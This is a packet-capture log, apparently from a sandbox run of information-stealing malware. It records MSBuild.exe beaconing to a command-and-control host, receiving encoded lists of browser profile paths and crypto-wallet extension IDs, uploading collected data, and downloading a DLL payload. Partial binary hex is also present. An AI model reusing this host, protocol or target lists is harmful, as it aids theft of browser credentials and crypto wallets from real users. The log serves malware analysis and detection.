Oct 7, 2024 21:18:03.171447992 CEST	1236	IN	Data Raw: 66 42 66 f7 e7 0f b6 d7 eb 0b 66 4f 66 f7 e6 66 33 ca c1 d8 78 66 8b ff 81 f6 b1 01 00 00 73 21 83 f9 41 74 4d 66 c1 c2 7a 81 eb 7f 03 00 00 0f b6 fb 66 23 ce c1 ca 22 c1 df dd f7 ef 66 43 eb 15 66 46 66 81 c1 ad 02 4a 66 4e bb 3b 03 00 00 66 bb Data Ascii: fBffOff3xfs!AtMfzf#"fCfFfJfN;ffffFfBrfHffG\|fbffF83$fQwfIffff%fPffCff+ffEfBfewfNfFfI
Oct 7, 2024 21:18:03.171466112 CEST	1236	IN	Data Raw: 8b 48 04 89 4d e4 8b 01 ff 50 04 8d 45 e0 50 e8 da 15 00 00 59 89 45 ec 8d 4d e0 e8 1a ef ff ff 21 7d fc 8b 0d 98 e9 48 00 8b 41 04 8b b0 d0 e9 48 00 c6 45 e0 00 89 75 e4 8b 41 04 8d 88 98 e9 48 00 0f b7 41 40 8b 55 ec 8b 12 ff 75 0c ff 75 08 50 Data Ascii: HMPEPYEM!}HAHEuAHA@UuuPQVuEPMRjZ}E}M=HHHAjZj39q8ERe(@MH}jZHHj39A8EQRMZIVWt$
Oct 7, 2024 21:18:03.171926975 CEST	1236	IN	Data Raw: 0f 10 45 1c 66 8b c8 8b 74 24 38 66 85 c9 51 8b 52 14 0f 9e 44 24 18 8b c2 f2 0f 11 04 24 83 e0 ef 66 85 c9 53 8b 5c 24 28 0f 4f d0 83 7c 24 44 0f 8d 44 24 48 52 0f 47 7c 24 34 6a 00 50 53 e8 75 09 00 00 83 c4 10 50 56 57 e8 4e e4 ff ff 83 c4 18 Data Ascii: Eft$8fQRD$$fS\$(O\|$DD$HRG\|$4jPSuPVWNt$ \|$8T$$GT$$t$PRut$uuVD$8v6L$$@D$L$=rD$PD$PDD$YYL$PQ?YYL$D_^[3=?]UT@B3D$PS]D$Vu
Oct 7, 2024 21:18:03.171961069 CEST	1236	IN	Data Raw: 5d c2 04 00 56 8b f1 83 7e 14 07 76 0e ff 76 14 ff 36 56 e8 a7 06 00 00 83 c4 0c 83 66 10 00 33 c0 c7 46 14 07 00 00 00 66 89 06 5e c3 56 8b f1 8b 46 14 83 f8 0f 76 0b 40 50 ff 36 e8 03 13 00 00 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e Data Ascii: ]V~vv6Vf3Ff^VFv@P6YYfF^US]WGO+;w*GvVSu4Vz^SuEuSq_[]Vt$jVQkJfF^D$V2BtjV:YY^q
Oct 7, 2024 21:18:03.171996117 CEST	1236	IN	Data Raw: f6 d0 24 20 0c 58 88 02 8b c6 5f c6 42 01 00 5e c3 8b 54 24 10 56 8b 74 24 0c 57 c6 06 25 8d 46 01 f6 c2 20 74 04 c6 00 2b 40 f6 c2 10 74 04 c6 00 23 40 8a 4c 24 14 66 c7 00 2e 2a 83 c0 02 84 c9 74 03 88 08 40 8b ca bf 00 30 00 00 23 cf f6 c2 04 Data Ascii: $ X_B^T$Vt$W%F t+@t#@L$f.*t@0#t" t";uA6ME$ uf;uaMe@_^@L8t`jB4;}@t88WM}txee
Oct 7, 2024 21:18:03.176431894 CEST	1236	IN	Data Raw: 8b 06 8b 48 04 03 ce e8 f1 0c 00 00 0f b7 c8 51 8b ce e8 21 0c 00 00 8b ce e8 c8 fb ff ff 8b c6 5e 8b e5 5d c3 6a 4c b8 00 1e 42 00 e8 f5 36 00 00 89 55 dc c7 45 d8 98 e9 48 00 33 ff 8b c7 89 45 ec 89 45 e4 52 e8 52 99 00 00 59 8b c8 89 4d e0 8b Data Ascii: HQ!^]jLB6UEH3EERRYMUH@HH;\|;v;\|;v+WfEu]uuM]}uj^}H@HHMPEPNYEMH@H%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49810	95.164.90.97	80	3924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 21:18:30.933207035 CEST	93	OUT	GET / HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:32.236010075 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 21:18:32.236735106 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 7, 2024 21:18:32.291531086 CEST	441	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB Host: kasm.zubairgul.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 44 37 34 42 42 42 44 43 42 38 33 39 34 36 30 39 38 34 33 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 2d 2d 0d 0a Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="hwid"33D74BBBDCB83946098432-a33c7340-61ca------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------AFHDAKJKFCFBGCBGDHCB--
Oct 7, 2024 21:18:32.911972046 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|ff22713ca8d095c59462651fbdbf017b\|1\|1\|1\|0\|0\|50000\|10
Oct 7, 2024 21:18:32.913333893 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGI Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="mode"1------EBFBKFBGIIIDGDGCFCGI--
Oct 7, 2024 21:18:33.535470009 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 7, 2024 21:18:33.535562038 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 7, 2024 21:18:33.537092924 CEST	516	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: kasm.zubairgul.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="mode"2------CBKFIECBGDHJKECAKFBG--
Oct 7, 2024 21:18:34.134150028 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 7, 2024 21:18:34.134259939 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 7, 2024 21:18:34.134294033 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 7, 2024 21:18:34.134344101 CEST	672	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 7, 2024 21:18:34.134378910 CEST	1236	IN	Data Raw: 6c 64 43 41 74 49 46 42 76 62 47 74 68 5a 47 39 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 39 75 61 47 39 6e 5a 6d 70 6c 59 57 4e 75 5a 6d 39 76 5a 6d 74 6d 5a 33 42 77 5a 47 78 69 62 57 78 74 62 6e 42 73 5a 32 4a 75 66 44 46 38 4d 48 77 77 66 Data Ascii: ldCAtIFBvbGthZG90IFdhbGxldHwxfG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHwxfG1tbWpiY2ZvZmNvbmthbm5qb25mbWpqYWpwbGxkZGJnfDF8MHwwfEdsYXNzIFdhbGxldCAtIFN1aSBXYWxsZXR8MXxsb2luZWtjYWJobG1oampib2NpamRvaW1tZWphbmdvYXwxfDB8MH
Oct 7, 2024 21:18:34.134412050 CEST	232	IN	Data Raw: 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 44 46 38 62 6e 42 6f 63 47 78 77 5a 32 39 68 61 32 68 6f 61 6d 4e 6f 61 32 74 6f 62 57 6c 6e 5a 32 46 72 61 57 70 75 61 32 68 6d 62 6d 52 38 4d 58 77 77 66 44 42 38 54 58 6c 55 62 32 35 58 59 Data Ascii: 8MHxUT04gV2FsbGV0fDF8bnBocGxwZ29ha2hoamNoa2tobWlnZ2FraWpua2hmbmR8MXwwfDB8TXlUb25XYWxsZXR8MXxmbGRmcGdpcGZuY2duZGZvbGNia2RlZWtuYmJibmhjY3wxfDB8MHxVbmlzd2FwIEV4dGVuc2lvbnwxfG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==0
Oct 7, 2024 21:18:34.135827065 CEST	517	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: kasm.zubairgul.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 33 63 61 38 64 30 39 35 63 35 39 34 36 32 36 35 31 66 62 64 62 66 30 31 37 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 30 63 33 64 37 31 33 34 31 63 39 39 34 66 66 31 33 33 62 37 63 39 61 39 36 34 38 32 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="mode"21------BKJEGDGIJECGCBGCGHDG--
Oct 7, 2024 21:18:34.746063948 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 7, 2024 21:18:35.261745930 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDGDHJEGHIDGDHCGC Host: kasm.zubairgul.com Content-Length: 5645 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:35.261789083 CEST	5645	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 32 32 37 31 Data Ascii: ------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="token"ff22713ca8d095c59462651fbdbf017b------HIDHDGDHJEGHIDGDHCGCContent-Disposition: form-data; name="build_id"60c3d71341c994ff133b7c9a96482d32------HIDHDGDHJEGHID
Oct 7, 2024 21:18:36.016097069 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 21:18:36.021208048 CEST	100	OUT	GET /sql.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 21:18:36.501585007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:18:36 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 